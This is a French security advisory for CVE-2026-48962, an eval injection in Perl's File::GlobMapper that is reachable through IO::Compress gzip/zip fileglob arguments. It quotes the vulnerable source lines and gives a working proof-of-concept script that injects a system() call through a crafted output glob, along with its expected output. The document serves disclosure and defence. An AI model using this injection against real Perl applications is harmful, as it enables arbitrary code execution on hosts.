
CVE-2026-48962 - IO::Compress - Exécution de code
Une vulnérabilité d'injection par eval dans File::GlobMapper::_getFiles() permet à tout attaquant qui peut contrôler l'argument fileglob de sortie passé à IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip() ou à toute fonction sœur d'exécuter du code Perl arbitraire dans le contexte du processus en cours.
Aucune authentification n'est requise. L'impact est total : la confidentialité, l'intégrité et la disponibilité du processus hôte sont entièrement compromises.
File::GlobMapper::_parseOutputGlob() construit un modèle de nom de fichier de sortie en encapsulant le motif de sortie fourni par l'appelant entre guillemets doubles Perl et en stockant le résultat. _getFiles() passe ensuite cette chaîne directement à eval sans
aucun assainissement :
lib/File/GlobMapper.pm:316–321
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"'; # wrapped in double-quotes
$self->{OutputPattern} = $string; # stored verbatim — no escaping
lib/File/GlobMapper.pm:342
eval "\$outFile = $self->{OutputPattern};" ; # executed — injection point
File::GlobMapper est invoqué automatiquement lorsque les deux arguments d'entrée et de sortie d'une fonction IO::Compress::* / IO::Uncompress::* sont des chaînes fileglob (délimitées par < >). Il s'agit d'une convention d'appel
courante et documentée. Les fonctions concernées incluent gzip, zip, bzip2, deflate, rawdeflate, ainsi que toutes les fonctions équivalentes de IO::Uncompress::*.
Tout caractère qui ferme la chaîne Perl entre guillemets doubles environnante — un " littéral, un backtick, ${...} ou @{...} — suivi de code Perl arbitraire est exécuté tel quel.
Enregistrez le fichier sous poc.pl et exécutez-le avec perl poc.pl :
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);
my $dir = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";
# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;
my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);
print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";
eval { gzip "<$dir/*.txt>" => $malicious };
if (-e $sentinel) {
print "EXPLOITED — arbitrary command executed via eval injection\n";
print "Sentinel: $sentinel\n";
unlink $sentinel;
} else {
print "Did not fire (check error: $@)\n";
}
Sortie attendue :
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>
Confirmé sur IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.
Il s'agit d'une vulnérabilité d'exécution de code à distance. Toute application web, service API, outil CLI ou pipeline de traitement par lots qui accepte une entrée utilisateur et la transmet comme argument fileglob de sortie à une fonction IO::Compress::* est vulnérable. Le code injecté s'exécute avec l'ensemble des privilèges du processus appelant.
Qui est concerné : Les développeurs et opérateurs d'applications Perl qui utilisent les fonctions IO::Compress::* avec la convention d'appel fileglob et dont le modèle de sortie est dérivé d'une entrée non fiable - par exemple, des modèles de noms de fichiers provenant de formulaires web, de paramètres d'API REST, d'arguments CLI ou de fichiers de configuration contrôlés par des utilisateurs non privilégiés.
Dans les contextes setuid ou de démon privilégié, l'exploitation permet d'exécuter du code au niveau de privilège élevé. Le bug est présent depuis la version initiale de File::GlobMapper (≈ 2005) et est présent sur toutes les distributions Linux qui fournissent le paquet perl.